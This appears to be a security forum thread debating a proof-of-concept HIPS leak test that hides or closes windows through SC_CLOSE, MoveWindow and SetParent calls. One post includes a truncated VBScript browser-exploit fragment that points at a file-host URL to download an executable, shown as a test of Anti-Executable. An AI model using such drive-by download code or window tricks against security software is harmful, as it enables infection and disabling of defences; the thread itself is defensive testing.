Interesting HIPS leak test

It was doing more than just hiding windows when I was testing it. after the first few tests it changed the expected behavior on the minimize button on all open explorer and application windows into close behavior. A reboot resolved that. Afterwards, it caused all the icons on my desktop to disappear after a couple tests. Again, a reboot resolved that. Sometimes it minimized windows and sometimes it didn't. The results were far too erratic for my liking.

 

Another crazy leaktest without actual leak.

This rabbish sends SC_CLOSE message to the window (which OA denies), then it executes MoveWindow with X1 = Y1 = X2 = Y2 = 5 (which sets Window size to zero and makes it invisible in case window allows to) and, finally, it sets parent window of selected window to -3, which makes selected window invisible due to (I think) a bug in GDI.

Popups continue to work, scheduled scan continues to work. The only problem GUI becomes unavailable, which do not decrease security, but surely creates some inconvinience. I'm not sure this sensless test needs special handling, it does nothing sensible. I think a better way is to fix bug in Windows GDI system.

 

To be honest I don't think this can be classified as a test...It's not exactly like it has any real malicious capabilities. I could never see this being a piece of malware, as it is just so easy to get rid of. Plus, I am sure this method is used with many valid programs to do certain things, so detecting it, blocking it etc, would be a waste.

 

The reliability of the OA warning is very much in doubt. I ran this thing a few times and I only ever got one warning from OA and when I selected Block, it did not affect the operation of the 'test'.

I agree that this seems a pointless test. However, there was the suggestion that the same method could be used to kill an application/process. Things would certainly be more interesting if our Chinese friends could come up with a test that did that.

 

Anti-Executable is not the type of program being discussed here. It's job is to prevent unauthorized executables
from getting on to the computer without the owner's/administrator's knowledge, not to monitor them while they install.

It would protect you in these two ways.

First, if you shared your computer with others and another user wanted to play a trick on you and install this program
without you knowing, AE would not permit the file to download (Copy from the internet):

​

Second, if this were malware which downloaded by remote code execution from a web site using an exploit for a Browser, Flash, PDF reader, etc; or if on a U3 type flashdrive triggered by AutoRun.inf -- AE would not permit the file to download.

Here, I test using an IE exploit to trigger:

Code:

script language="VBScript">
on error resume next
OOOOOOOOOOOOOwwwwwww ="http://rs66dt.rapidshare.com/files/xxxxxxx/Project1.exe"
Set eeeeeeeeeeeennnnnnnnnnn = document.createElement("obj"&"ect")
...

​

If this were malware, the only way an AE user could be infected is to be tricked into permitting it to download/install.


----
rich

 

I'm using OA free and I remember getting the run warning from OA, but I don't remember seeing anything about the SC_CLOSE message. I didn't try to block the run with OA. I always selected allow without remember. I wonder what versions of OA everyone was running?

I've been thinking the same thing.

 

V3 Build 190 Paid. I only got the message about SC_CLOSE once.

 

That's exactly the same thing that I got, and I didn't click Remember either.

 

Thanks for the confirmation guys. Maybe my free version that doesn't include keylogging protection is why I didn't see the SC_CLOSE message? I might try again tomorrow, it's too late tonight.

 

It hardly can be used to kill a process. There is a lot of the tests that manipulate with a window handle trying to kill owning process and any decent HIPS should resist it. This one hides a window in some unexpected way, but this is not the same as to kill a process.

 

I agree. If this Chinese forumer bothered to spend time to make a POC against HIPS, why didn't he make it so, that the POC was actually , well, representing a more real danger? I mean, ok, you decide to spend time for a POC against HIPS. Then why don't actually spend it to come up with a "worthy" POC and instead you come with a POC that is harmless (annoying yes) and claim that it can be used to kill applications too?

 

Guys,

I can't speak for the PoC builder, but when Xiaolin mentioned the close protection in a new 'what's changed' explanation, I thought it was interesting. I never thought about this in this context (Shutdown System Simulator really was a smart 'find' in that context).

Remember when you close down your system and some program does not respond. It would make sence that when the parent process window closes, their should be an easy way to close all child processes to.

So it is partly a not much used normal operation in Windows and partly a mechanisme which could be exploited when used against security programs (e.g. for anti-keylogger measures, some security aps hook themselves into normal processes).

Conclusion

It was not the best PoC, but it proved this 'feature' can be used to close other windows (ultimately other processes, possibly security programs).

Thanks for bringing it to out attention.

Cheers Kees

 

It doesn't respond because it stops to process a message queue

Nope, not that easy. The only thing parent window can do is to send WM_CLOSE message to a child. Then a child can process this message and it may not. BTW, WM_CLOSE message can be send not only by a parent window, it can be send by any code using SendMessage or PostMessage API if you know a window handle (and to get a handle is not a problem). Also we should not mix up a parent process with a parent window. A window is GDI object, a process is a system object. Closing a window and terminating a process are the different things. Process can work without the windows. Usually standard compiler generates a code that terminates a process when a main message loop is exited, but this behavior can be changed.

 

How can SandboxIE fail? It's not a HIPS.

 

Alex,

Have a look at the change log of the malware defender beta, I interpreted that this PoC was a way of tricking a program to close, because it triggered a normal event (receiving a close window message) which most programs interpretate as a legitemate shut down request. Something simular as SSS tricks programs into handling a legitemate system shutdown.

Have no programmed since 24 years or so, so you can tell me everything and I take your word for it.

Cheers

 

Kudos, Rmus.

 

Yep, SOME programs can be closed (in case of security program this is incorrect behavior), but other do not close. Though, it seems that many of them do nothing against hiding their windows in this crazy way